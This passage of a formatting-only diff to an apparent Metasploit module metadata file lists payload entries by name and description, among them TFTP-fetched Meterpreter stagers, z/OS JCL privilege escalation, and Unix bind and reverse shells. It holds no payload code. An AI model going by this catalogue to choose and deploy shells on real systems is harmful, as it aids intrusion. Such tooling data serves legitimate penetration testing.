"TFTP Fetch, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211769,9 +187985,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux,Linux", "arch": "cmd", "rport": null, @@ -211785,8 +187999,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211799,9 +188012,7 @@ "payload_cmd/linux/tftp/x86/meterpreter_reverse_http": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/x86/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211813,9 +188024,7 @@ "timwr" ], "description": "Fetch and execute a x86 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211829,8 +188038,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211841,9 +188049,7 @@ "payload_cmd/linux/tftp/x86/meterpreter_reverse_https": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/x86/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211855,9 +188061,7 @@ "timwr" ], "description": "Fetch and execute a x86 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211871,8 +188075,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211883,9 +188086,7 @@ "payload_cmd/linux/tftp/x86/meterpreter_reverse_tcp": { "name": "TFTP Fetch", "fullname": "payload/cmd/linux/tftp/x86/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211897,9 +188098,7 @@ "timwr" ], "description": "Fetch and execute a x86 payload from a TFTP server.", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211913,8 +188112,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211925,9 +188123,7 @@ "payload_cmd/linux/tftp/x86/metsvc_bind_tcp": { "name": "TFTP Fetch, Linux Meterpreter Service, Bind TCP", "fullname": "payload/cmd/linux/tftp/x86/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211937,9 +188133,7 @@ "hdm " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211953,8 +188147,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -211965,9 +188158,7 @@ "payload_cmd/linux/tftp/x86/metsvc_reverse_tcp": { "name": "TFTP Fetch, Linux Meterpreter Service, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/x86/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -211977,9 +188168,7 @@ "hdm " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nStub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -211993,8 +188182,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212005,9 +188193,7 @@ "payload_cmd/linux/tftp/x86/read_file": { "name": "TFTP Fetch, Linux Read File", "fullname": "payload/cmd/linux/tftp/x86/read_file", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212017,9 +188203,7 @@ "hal" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nRead up to 4096 bytes from the local file system and write it back out to the specified file descriptor", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212033,8 +188217,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212045,9 +188228,7 @@ "payload_cmd/linux/tftp/x86/shell/bind_ipv6_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212059,9 +188240,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212075,8 +188254,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212089,9 +188267,7 @@ "payload_cmd/linux/tftp/x86/shell/bind_ipv6_tcp_uuid": { "name": "TFTP Fetch, Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212104,9 +188280,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for an IPv6 connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212120,8 +188294,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212134,9 +188307,7 @@ "payload_cmd/linux/tftp/x86/shell/bind_nonx_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/shell/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212146,9 +188317,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212162,8 +188331,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212176,9 +188344,7 @@ "payload_cmd/linux/tftp/x86/shell/bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212189,9 +188355,7 @@ "egypt " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212205,8 +188369,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212219,9 +188382,7 @@ "payload_cmd/linux/tftp/x86/shell/bind_tcp_uuid": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)", "fullname": "payload/cmd/linux/tftp/x86/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212233,9 +188394,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nListen for a connection with UUID Support (Linux x86)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212249,8 +188408,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212263,9 +188421,7 @@ "payload_cmd/linux/tftp/x86/shell/find_tag": { "name": "TFTP Fetch, Linux Command Shell, Find Tag Stager", "fullname": "payload/cmd/linux/tftp/x86/shell/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212275,9 +188431,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212291,8 +188445,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212305,9 +188458,7 @@ "payload_cmd/linux/tftp/x86/shell/reverse_ipv6_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager (IPv6)", "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212318,9 +188469,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212334,8 +188483,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212348,9 +188496,7 @@ "payload_cmd/linux/tftp/x86/shell/reverse_nonx_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212360,9 +188506,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212376,8 +188520,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212390,9 +188533,7 @@ "payload_cmd/linux/tftp/x86/shell/reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212404,9 +188545,7 @@ "tkmru" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212420,8 +188559,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212434,9 +188572,7 @@ "payload_cmd/linux/tftp/x86/shell/reverse_tcp_uuid": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Stager", "fullname": "payload/cmd/linux/tftp/x86/shell/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212448,9 +188584,7 @@ "OJ Reeves" ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212464,8 +188598,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212478,9 +188611,7 @@ "payload_cmd/linux/tftp/x86/shell_bind_ipv6_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline (IPv6)", "fullname": "payload/cmd/linux/tftp/x86/shell_bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212490,9 +188621,7 @@ "kris katterjohn " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection over IPv6 and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212506,8 +188635,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212518,9 +188646,7 @@ "payload_cmd/linux/tftp/x86/shell_bind_tcp": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Inline", "fullname": "payload/cmd/linux/tftp/x86/shell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212530,9 +188656,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nListen for a connection and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212546,8 +188670,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212558,9 +188681,7 @@ "payload_cmd/linux/tftp/x86/shell_bind_tcp_random_port": { "name": "TFTP Fetch, Linux Command Shell, Bind TCP Random Port Inline", "fullname": "payload/cmd/linux/tftp/x86/shell_bind_tcp_random_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212588,8 +188709,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212600,9 +188720,7 @@ "payload_cmd/linux/tftp/x86/shell_find_port": { "name": "TFTP Fetch, Linux Command Shell, Find Port Inline", "fullname": "payload/cmd/linux/tftp/x86/shell_find_port", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212612,9 +188730,7 @@ "Ramon de C Valle " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a shell on an established connection", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212628,8 +188744,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212640,9 +188755,7 @@ "payload_cmd/linux/tftp/x86/shell_find_tag": { "name": "TFTP Fetch, Linux Command Shell, Find Tag Inline", "fullname": "payload/cmd/linux/tftp/x86/shell_find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212652,9 +188765,7 @@ "skape " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nSpawn a shell on an established connection (proxy/nat safe)", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212668,8 +188779,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212680,9 +188790,7 @@ "payload_cmd/linux/tftp/x86/shell_reverse_tcp": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline", "fullname": "payload/cmd/linux/tftp/x86/shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212693,9 +188801,7 @@ "joev " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to attacker and spawn a command shell", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212709,8 +188815,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212721,9 +188826,7 @@ "payload_cmd/linux/tftp/x86/shell_reverse_tcp_ipv6": { "name": "TFTP Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/cmd/linux/tftp/x86/shell_reverse_tcp_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212733,9 +188836,7 @@ "Matteo Malvica " ], "description": "Fetch and execute a x86 payload from a TFTP server.\nConnect back to attacker and spawn a command shell over IPv6", - "references": [ - - ], + "references": [], "platform": "Linux", "arch": "cmd", "rport": null, @@ -212749,8 +188850,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -212761,9 +188861,7 @@ "payload_cmd/mainframe/apf_privesc_jcl": { "name": "JCL to Escalate Privileges", "fullname": "payload/cmd/mainframe/apf_privesc_jcl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212772,9 +188870,7 @@ "Ayoub" ], "description": "(Elevate privileges for user. Adds\n SYSTEM SPECIAL and BPX.SUPERUSER to user profile. Does this by using\n an unsecured/updateable APF authorized library (APFLIB) and updating\n the user's ACEE using this program/library. Note: This privesc only\n works with z/OS systems using RACF, no other ESM is supported.)", - "references": [ - - ], + "references": [], "platform": "Mainframe", "arch": "cmd", "rport": 21, @@ -212788,8 +188884,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -212798,9 +188893,7 @@ "payload_cmd/mainframe/bind_shell_jcl": { "name": "Z/OS (MVS) Command Shell, Bind TCP", "fullname": "payload/cmd/mainframe/bind_shell_jcl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212808,9 +188901,7 @@ "Bigendian Smalls" ], "description": "Provide JCL which creates a bind shell\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", - "references": [ - - ], + "references": [], "platform": "Mainframe", "arch": "cmd", "rport": null, @@ -212824,8 +188915,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -212834,9 +188924,7 @@ "payload_cmd/mainframe/generic_jcl": { "name": "Generic JCL Test for Mainframe Exploits", "fullname": "payload/cmd/mainframe/generic_jcl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212844,9 +188932,7 @@ "Bigendian Smalls" ], "description": "Provide JCL which can be used to submit\n a job to JES2 on z/OS which will exit and return 0. This\n can be used as a template for other JCL based payloads", - "references": [ - - ], + "references": [], "platform": "Mainframe", "arch": "cmd", "rport": null, @@ -212860,8 +188946,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -212870,9 +188955,7 @@ "payload_cmd/mainframe/reverse_shell_jcl": { "name": "Z/OS (MVS) Command Shell, Reverse TCP", "fullname": "payload/cmd/mainframe/reverse_shell_jcl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212880,9 +188963,7 @@ "Bigendian Smalls" ], "description": "Provide JCL which creates a reverse shell\n This implementation does not include ebcdic character translation,\n so a client with translation capabilities is required. MSF handles\n this automatically.", - "references": [ - - ], + "references": [], "platform": "Mainframe", "arch": "cmd", "rport": null, @@ -212896,8 +188977,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -212906,9 +188986,7 @@ "payload_cmd/unix/adduser": { "name": "Add user with useradd", "fullname": "payload/cmd/unix/adduser", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212916,9 +188994,7 @@ "Nick Cottrell " ], "description": "Creates a new user. By default the new user is set with sudo\n but other options exist to make the new user automatically\n root but this is not automatically set since the new user will\n be treated as root (and login may be difficult). The new user\n can also be set as just a standard user if desired.", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -212932,8 +189008,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -212942,9 +189017,7 @@ "payload_cmd/unix/bind_awk": { "name": "Unix Command Shell, Bind TCP (via AWK)", "fullname": "payload/cmd/unix/bind_awk", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -212953,9 +189026,7 @@ "Ulisses Castro " ], "description": "Listen for a connection and spawn a command shell via GNU AWK", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -212969,8 +189040,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -212979,9 +189049,7 @@ "payload_cmd/unix/bind_aws_instance_connect": { "name": "Unix SSH Shell, Bind Instance Connect (via AWS API)", "fullname": "payload/cmd/unix/bind_aws_instance_connect", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213005,8 +189073,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213015,9 +189082,7 @@ "payload_cmd/unix/bind_busybox_telnetd": { "name": "Unix Command Shell, Bind TCP (via BusyBox telnetd)", "fullname": "payload/cmd/unix/bind_busybox_telnetd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213025,9 +189090,7 @@ "Matthew Kienow " ], "description": "Listen for a connection and spawn a command shell via BusyBox telnetd", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213041,8 +189104,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213051,9 +189113,7 @@ "payload_cmd/unix/bind_inetd": { "name": "Unix Command Shell, Bind TCP (inetd)", "fullname": "payload/cmd/unix/bind_inetd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213061,9 +189121,7 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell (persistent)", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213077,8 +189135,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213087,9 +189144,7 @@ "payload_cmd/unix/bind_jjs": { "name": "Unix Command Shell, Bind TCP (via jjs)", "fullname": "payload/cmd/unix/bind_jjs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213116,8 +189171,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213126,9 +189180,7 @@ "payload_cmd/unix/bind_lua": { "name": "Unix Command Shell, Bind TCP (via Lua)", "fullname": "payload/cmd/unix/bind_lua", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213136,9 +189188,7 @@ "xistence " ], "description": "Listen for a connection and spawn a command shell via Lua", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213152,8 +189202,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213162,9 +189211,7 @@ "payload_cmd/unix/bind_netcat": { "name": "Unix Command Shell, Bind TCP (via netcat)", "fullname": "payload/cmd/unix/bind_netcat", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213174,9 +189221,7 @@ "juan vazquez " ], "description": "Listen for a connection and spawn a command shell via netcat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213190,8 +189235,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213200,9 +189244,7 @@ "payload_cmd/unix/bind_netcat_gaping": { "name": "Unix Command Shell, Bind TCP (via netcat -e)", "fullname": "payload/cmd/unix/bind_netcat_gaping", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213210,9 +189252,7 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell via netcat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213226,8 +189266,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213236,9 +189275,7 @@ "payload_cmd/unix/bind_netcat_gaping_ipv6": { "name": "Unix Command Shell, Bind TCP (via netcat -e) IPv6", "fullname": "payload/cmd/unix/bind_netcat_gaping_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213246,9 +189283,7 @@ "hdm " ], "description": "Listen for a connection and spawn a command shell via netcat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213262,8 +189297,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213272,9 +189306,7 @@ "payload_cmd/unix/bind_nodejs": { "name": "Unix Command Shell, Bind TCP (via nodejs)", "fullname": "payload/cmd/unix/bind_nodejs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213282,9 +189314,7 @@ "joev " ], "description": "Continually listen for a connection and spawn a command shell via nodejs", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213298,8 +189328,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213308,9 +189337,7 @@ "payload_cmd/unix/bind_perl": { "name": "Unix Command Shell, Bind TCP (via Perl)", "fullname": "payload/cmd/unix/bind_perl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213319,9 +189346,7 @@ "cazz " ], "description": "Listen for a connection and spawn a command shell via perl", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213335,8 +189360,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213345,9 +189369,7 @@ "payload_cmd/unix/bind_perl_ipv6": { "name": "Unix Command Shell, Bind TCP (via perl) IPv6", "fullname": "payload/cmd/unix/bind_perl_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213356,9 +189378,7 @@ "cazz " ], "description": "Listen for a connection and spawn a command shell via perl", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213372,8 +189392,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213382,9 +189401,7 @@ "payload_cmd/unix/bind_r": { "name": "Unix Command Shell, Bind TCP (via R)", "fullname": "payload/cmd/unix/bind_r", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213392,9 +189409,7 @@ "RageLtMan " ], "description": "Continually listen for a connection and spawn a command shell via R", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213408,8 +189423,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213418,9 +189432,7 @@ "payload_cmd/unix/bind_ruby": { "name": "Unix Command Shell, Bind TCP (via Ruby)", "fullname": "payload/cmd/unix/bind_ruby", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213428,9 +189440,7 @@ "kris katterjohn " ], "description": "Continually listen for a connection and spawn a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213444,8 +189454,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213454,9 +189463,7 @@ "payload_cmd/unix/bind_ruby_ipv6": { "name": "Unix Command Shell, Bind TCP (via Ruby) IPv6", "fullname": "payload/cmd/unix/bind_ruby_ipv6", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213464,9 +189471,7 @@ "kris katterjohn " ], "description": "Continually listen for a connection and spawn a command shell via Ruby", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213480,8 +189485,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -213490,9 +189494,7 @@ "payload_cmd/unix/bind_socat_sctp": { "name": "Unix Command Shell, Bind SCTP (via socat)", "fullname": "payload/cmd/unix/bind_socat_sctp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -213500,9 +189502,7 @@ "RageLtMan " ], "description": "Creates an interactive shell via socat", - "references": [ - - ], + "references": [], "platform": "Unix", "arch": "cmd", "rport": null, @@ -213516,8 +189516,7 @@ 